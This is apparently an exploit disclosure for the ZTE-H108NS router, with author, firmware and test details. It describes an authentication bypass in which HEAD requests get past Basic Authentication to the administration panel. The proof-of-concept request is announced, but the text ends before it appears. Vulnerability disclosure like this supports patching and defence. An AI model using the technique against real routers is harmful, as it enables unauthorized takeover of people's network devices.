• # Exploit Title: Router ZTE-H108NS - Authentication Bypass
  # Date: 19-11-2022
  # Exploit Author: George Tsimpidas 
  # Vendor: https://www.zte.com.cn/global/
  # Firmware: H108NSV1.0.7u_ZRD_GR2_A68
  # CVE: N/A 
  # Tested on: Debian 5.18.5
  
  Description :
  
  When specific http methods are listed within a security constraint,
  then only those
  methods are protected. Router ZTE-H108NS defines the following http
  methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
  operation which allows the HEAD to be implemented correctly with every
  Response Status Code.
  
  
  Proof Of Concept :
  
  Below request bypasses successfully the Basic Authentication, and
  grants access to the Administration Panel of the Router.
